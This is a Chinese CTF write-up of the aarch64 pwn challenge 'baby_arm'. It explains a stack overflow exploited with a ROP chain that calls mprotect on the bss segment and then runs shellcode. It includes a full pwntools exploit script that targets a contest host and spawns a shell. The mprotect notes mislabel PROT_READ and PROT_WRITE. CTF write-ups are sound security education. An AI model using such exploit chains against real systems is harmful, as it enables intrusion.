美文网首页网络安全
[第四届上海市大学生网络安全大赛] baby_arm

[第四届上海市大学生网络安全大赛] baby_arm

作者: 2mpossible | 来源:发表于2018-11-05 00:51 被阅读794次
    • 题目是道aarch64的pwn题,有关环境搭建之前的文章有讲,然后开了NX,后面打远程的时候发现也确实开了NX
    • 程序主要就是两个read函数写,第一个往bss段写,第二个往栈上写,并且可以栈溢出,这里一看就是rop但是我们没有libc,然后发现程序有个mprotect函数,所以利用思路可以是往bss写shellcode然后利用栈溢出执行mprotect让bss段可以执行,然后再跳转到我们的bss段执行shellcode
    include <unistd.h>
    #include <sys/mmap.h>
    int mprotect(const void *start, size_t len, int prot);
    
    // 对存储映射区保护要求 1、PROT_READ 2、PROT_WRITE 3、PROT_EXEC 4、PROT_NONE
    mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
    
    prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
    
    1)PROT_READ:表示内存段内的内容可写;
    
    2)PROT_WRITE:表示内存段内的内容可读;
    
    3)PROT_EXEC:表示内存段中的内容可执行;
    
    4)PROT_NONE:表示内存段中的内容根本没法访问。
    
    需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
    
    
    • 函数loc_4008CC可以让我们控制x19,x20,x21,x22,x23,x24,x29,x30寄存器的值,然后通过loc_4008AC函数我们进而控制r0,r1,r2,x3从而达到call x3,最后再ret到下一个函数
    loc_4008AC
                LDR X3, [X21,X19,LSL#3]  #将X21寄存器指向的内容给X3寄存器
                MOV X2, X22              #将X22寄存器的值给X2寄存器
                MOV X1, X23              #将X23寄存器的值给X1寄存器
                MOV W0, W24              #将W24寄存器的值给W0寄存器
                ADD X19, X19, #1         #X19寄存器的值+1
                BLR X3                   #执行call X3
                CMP X19, X20             #比较X19寄存器和X20寄存器的值,若不想等则跳转到loc_4008AC
                B.NE loc_400AC
    
    loc_4008CC 
                LDP X19, X20, [SP,#0x10]    #将SP+0x10,SP+0x18给X19,X20寄存器
                LDP X21, X22, [SP,#0x20]    #将SP+0x20,SP+0x28给X21,X22寄存器
                LDP X23, X24, [SP,#0X30]    #将SP+0x30,SP+0x38给X23,X24寄存器
                LDP X29, X30, [SP+0],#0X40  #将SP,SP+8给X29,X30寄存器并抬高栈64字节
                        
    
    • 所以我们ret到loc_4008CC的时候可以布置栈如下,然后当执行完loc_4008CC函数时,就会ret到X30寄存器的值即loc_4008AC,当执行到BLR X3时相当于执行mprotect(0x411000, 0x1000, 5),然后判断X19和X20是否相等,因为我们提前布置好了所以会继续往下执行到ret返回到0x411068(我们的shellcode处),0x411168在我们第一次往bss段写的时候已经写入了mprotect@plt的地址
    $SP-->  │+0x00: 0x0000000000000000   --> X29  
            │+0x08: 0x00000000004008ac   --> X30  
            │+0x10: 0x0000000000000000   --> X19  
            │+0x18: 0x0000000000000001   --> X20
            |+0x20: 0x0000000000411168  -> mprotect@plt  --> X21
            │+0x28: 0x0000000000000005   --> X22  --> X2
            │+0x30: 0x0000000000001000   --> X23  --> Xx
            │+0x38: 0x0000000000411000   --> X24  --> X0
            │+0x40: 0x0000000000000000    
            │+0x48: 0x0000000000411068   --> next X30
            │+0x50: 0x00000000deadbeef  
            │+0x58: 0x00000000deadbeef  
            │+0x60: 0x00000000deadbeef  
            │+0x68: 0x00000000deadbeef  
            │+0x70: 0x00000000deadbeef  
            │+0x78: 0x00000000deadbeef  
    
    • 第一次ret到通用gadget处
    • 执行完loc_4008CC准备ret到loc_4008AC
    • 进入loc_4008AC函数
    • 执行mprotect(0x411000, 0x1000, 5)
    • 比较X19和X20的值,因为相等所以不跳转往下继续执行
    • 经过4个ldp命令,然后ret,注意此时X30寄存器的值是我们的shellcode地址,所以我们即将执行shellcode了
    • 正在执行shellcode,然后就能getshell了
    • 这里用pwntools生成aarch64的shellcode可能会报错,解决方案,因为我用的deepin所以直接sudo apt-get install binutils-aarch64-linux-gnu一条命令即可,这里因为我已经装了,然后就可以使用shellcode = asm(shellcraft.aarch64.sh()) 快乐的使用shellcode了

    exp:

    from pwn import *
    import sys
    import time
    context.binary = "./arm_pwn"
    binary = './arm_pwn'
    
    if sys.argv[1] == "r":
        p = remote("106.75.126.171",33865)
    elif sys.argv[1] == "l":
        p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])
    else:
        p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])
    
    elf = ELF("./arm_pwn")
    
    
    context.log_level = "debug"
    
    buf = asm(shellcraft.aarch64.sh())
    
    buf = buf.ljust(0x100,'\x00')
    buf += p64(0x400600)
    
    p.recvuntil('Name:')
    p.send(buf.ljust(512,'\x00'))
    
    payload = 'a'*72 + p64(0x4008CC) + p64(0) + p64(0x4008AC) + p64(0) + p64(1) + p64(0x411168) + p64(5)
    payload += p64(0x1000) + p64(0x411000) + p64(0) + p64(0x411068) + p64(0xdeadbeef)*6
    
    p.send(payload)
    p.interactive()
    
    • 成功打本地
    • 成功打远程

    参考文章:

    相关文章

      网友评论

        本文标题:[第四届上海市大学生网络安全大赛] baby_arm

        本文链接:https://www.haomeiwen.com/subject/dsjxoftx.html